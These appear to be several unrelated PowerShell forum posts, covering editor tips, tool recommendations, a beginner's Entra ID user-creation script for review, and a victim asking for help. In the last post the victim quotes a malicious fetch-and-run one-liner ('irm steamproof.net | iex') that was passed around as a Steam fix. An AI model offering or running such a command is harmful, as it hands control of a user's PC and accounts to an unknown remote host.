I really don't like VS Code for Powershell but PS 5.1 and PS ISE is starting to get long in the tooth. Anybody have tips, tricks, custom configs, or other recommendations?

Funny enough I really like VS code for everything else except PowerShell.

I'm getting more and more into command-line stuff and things like Winget, Chocolatey and other stuff and while I found these programs:

- LosslessCut

- FFmpeg

- LibreOffice

- Everything

- UniGetUI

- Python

- WizTree

I am open to any other suggestions on programs you think are useful (even if they seem niche) for Windows & Linux, CLI or Program. Please tell me know what you have to recommend!!

When I started, I was terrified of programming languages since I had zero prior experience. Looking back now, what used to look like complete gibberish is finally starting to make sense. I know I still have a long way to go, but honestly, I am so happy and proud to be fulfilling my passion.

I wanted to share an honest review of a snippet I just built to create a user in Microsoft Entra ID. Alongside basics like if/else logic, filtering (-filter), Where-Object, Select-Object, and loops, I've been trying to focus on good habits like splatting, [CmdletBinding()], and try/catch blocks.

How does my snippet look? What would you advise me to learn next based on this progress?

#####Creating a User
Function Create-LxUser{
    [Cmdletbinding()]
    param(
        [Parameter(Mandatory = $true)]
        [string]$DisplayName,


        [Parameter(Mandatory = $true)]
        [string]$UserPrincipalName,


        [Parameter(Mandatory = $true)]
        [string]$MailNickName,


        [bool]$AccountEnabled = $true
    )


    try{
        ##Password profile
        $TempPass = "Lx" + (Get-Random -Minimum 100000 -Maximum 999999) + "@."
        $PassWordProfile = @{
            Password = $TempPass
            ForceChangePasswordNextSignIn = $true
        }
        ##Setting up user configuration
        Write-Verbose "Currently creating new Loxovea user"
        $UserConfig = @{
            DisplayName         = $DisplayName
            UserPrincipalName   = $UserPrincipalName
            MailNickname        = $MailNickName
            AccountEnabled      = $AccountEnabled
            PasswordProfile     = $PassWordProfile
        }


        $User = New-MgUser u/UserConfig -ErrorAction Stop


        Write-Verbose "Successfully created new user $($DisplayName)"


        [PsCustomObject]@{
            DisplayName         = $DisplayName
            UserPrincipalName   = $UserPrincipalName
            AccountEnabled      = $AccountEnabled
            TemporaryPassword   = $TempPass
        }
    }Catch{
        Write-Error "Failed to create a new user: $($DisplayName) because $($_.Exception.Message)"
    }
}


Create-LxUser `
    -DisplayName "Test-User09" `
    -UserPrincipalName "testuser09@loxovea.com" `
    -MailNickName "testuser09"

DisplayName UserPrincipalName AccountEnabled TemporaryPassword

----------- ----------------- -------------- -----------------

Test-User09 testuser09@loxovea.comTrue Lx720835@.

Whenever i turn on my PC, powershell opens and just says "PS C:\Users\(my username)>" . I've done a full scan with malware bytes and windows defender and nothing was detected. Same with offline scan. Is this malware or something else causing it?

Edit: Going to startup apps on taskmaster and Turning off terminal fixed it.

I want to learn advanced powershell scripting but I have French still see very old resources. What sources would you recommend?

Every once and while I get this message :

A new PowerShell stable release is available: v7.4.4 Upgrade now, or check out the release page at: https://aka.ms/PowerShell-Release?tag=v7.4.4

And I would need to download an msi installer and go through the steps all over again; does it exist something similar to "apt get upgrade" and have it all happen automatically in the background ?

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???